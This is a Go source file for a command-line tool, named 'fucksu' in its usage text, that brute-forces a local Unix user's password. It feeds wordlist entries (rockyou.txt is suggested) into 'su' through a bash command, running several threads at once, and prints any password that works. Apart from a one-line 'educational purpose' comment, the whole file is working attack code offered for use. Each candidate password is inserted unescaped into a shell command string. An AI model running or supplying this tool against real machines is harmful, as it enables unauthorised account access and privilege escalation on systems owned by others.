/*
Description: Tool to bruteforce local users through su using a dictionary.
Auth0r: sml@lacashita.com

Use it only as educational purpose.
*/

package main

import (
	"bufio"
	"flag"
	"fmt"
	"github.com/go-cmd/cmd"
	"os"
	"sync"
	"os/user"
)

func prepareWordlist(jobs chan string, wordlist *string) {
	file, _ := os.Open(*wordlist)
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		jobs <- scanner.Text()
	}
	close(jobs)
}

func fuckSU(jobs chan string, wg *sync.WaitGroup, uzer string){
	defer wg.Done()
	for {
		pazz, ok := <-jobs
		if !ok {
			break
		} else {
			var lacasito string
			lacasito = fmt.Sprintf("echo \"%v\" | timeout 0.1 su %v -c id",pazz,uzer)
			c := cmd.NewCmd("bash", "-c", lacasito)
			<-c.Start()

			if len(c.Status().Stdout) != 0 {
				fmt.Printf("[+] Pass found: %v\n",pazz)
				os.Exit(0)
			}
		}
	}
}

func checkWordlist(keyfile *string) {
	var file string
	file = *keyfile
	_, err := os.Stat(file)
	if err != nil {
		fmt.Println("[!] Wordlist doesnt exist")
		os.Exit(1)
	}
}

func checkUser(uzer string) {
    _, err := user.Lookup(uzer)
    if err != nil {
	fmt.Println("[!] User doesnt exists.")
	os.Exit(1)
    }
}

func menu(options int) {
	if options < 4 {
		fmt.Println(`

[!] Insufficient Arguments

Examples of usage:
fucksu -u loco -w rockyou.txt 

Example with 5 threads:
fucksu -u loco -w rockyou.txt -t 5
		`)
		os.Exit(1)
	}
}

func main() {
	var wordlist string
	var uzer string
	var threads int
	var wg sync.WaitGroup
	jobs := make(chan string)
	flag.StringVar(&wordlist, "w", "", "Like /usr/share/wordlists/rockyou.txt")
    flag.StringVar(&uzer, "u", "", "Username")
	flag.IntVar(&threads, "t", 5, "Threads, by default 5")
	flag.Parse()
	menu(len(os.Args))
	checkWordlist(&wordlist)
	checkUser(uzer)
	fmt.Printf(`

  ______          _     _____ _    _ 
 |  ____|        | |   / ____| |  | |
 | |__ _   _  ___| | _| (___ | |  | |
 |  __| | | |/ __| |/ /\___ \| |  | |
 | |  | |_| | (__|   < ____) | |__| |
 |_|   \__,_|\___|_|\_\_____/ \____/ 
[-] Bruteforcing su.... Wait.


`)

	go prepareWordlist(jobs, &wordlist)
	for i := 0; i < threads; i++ {
		go fuckSU(jobs, &wg, uzer)
		wg.Add(1)
	}
	wg.Wait()
	fmt.Printf("[x] Password not found :_(\n")
}
